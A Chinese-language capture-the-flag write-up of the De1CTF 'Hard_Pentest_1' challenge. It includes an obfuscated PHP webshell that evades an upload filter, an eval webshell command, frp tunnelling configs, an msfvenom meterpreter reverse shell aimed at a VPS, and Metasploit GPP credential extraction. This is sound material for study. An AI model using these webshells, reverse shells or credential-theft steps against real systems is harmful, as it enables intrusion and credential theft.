De1CTF Hard_Pentest_1
文件上传
过滤如下
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
用p神讲过的自增shell可以绕过,没有php所以用短标签绕过,没有分号用逗号代替,也可以把每句话都用短标签括起来
<?=
@$_=[].'',
@$__=$_[''],
$___='',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$____='_',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$$____,$___($_[_]) ?>
//<?= SYSTEM($_POST[_]) ?>
再post一个_=echo "<?php eval($_REQUEST[cmd]); ?>" > 1.php
,就可以拿蚁剑连上去了
frp + msf搭建渗透环境
题目给了hint说flag不在web服务器上,说明可能下一步要进行域渗透,我们的一句话木马就有点不够看了。在尝试各种弹shell方式都失败后,想到用msf。但是目标靶机在公网,kali在内网,直接反向shell是连不到的,所以只能祭出frp来进行内网穿透和转发。
首先去release页面下载对应平台的frp,然后将frps放到vps上,配置文件frps.ini
内容如下
[common]
bind_port = 10001
表示frp服务器端接收客户端流量的端口。
将frpc放到kali里,配置文件frpc.ini
内容如下
[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 10001
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 10002
各项配置的意义为
server_addr
vps的公网IPserver_port
vps的监听端口,要与frps
中的端口一致local_port
本地msf监听的端口,frps会把靶机的流量转发过来remote_port
frps将通过vps的这个端口监听靶机的流量
接下来用msfvenom生成后门msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=10002 -f exe > remoteevil.exe
,这里lhost
是vps的公网ip,端口要填remote_port
vps上运行frps -c frps.ini
kali上运行frpc -c frpc.ini
msf做好收shell准备,把生成的后门用蚁剑传到靶机上去运行
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
exploit
域渗透与GPP
查看域下的用户
在共享目录下找到flag1压缩包
download下来发现打开需要密码
联想到之前有个用户的名字是HintZip_Pass
,说明我们需要知道这个用户的密码。看wp后知道这里有个GPP漏洞(怎么发现的?),具体原理可以看这篇文章域安全篇:寻找SYSVOL里的密码和攻击GPP(组策略偏好)。漏洞利用正好msf有这个模块
use post/windows/gather/credentials/gpp
set SESSION 4
show options
exploit
成功跑出来密码
和存放密态密码的xml
解密压缩包,得到flag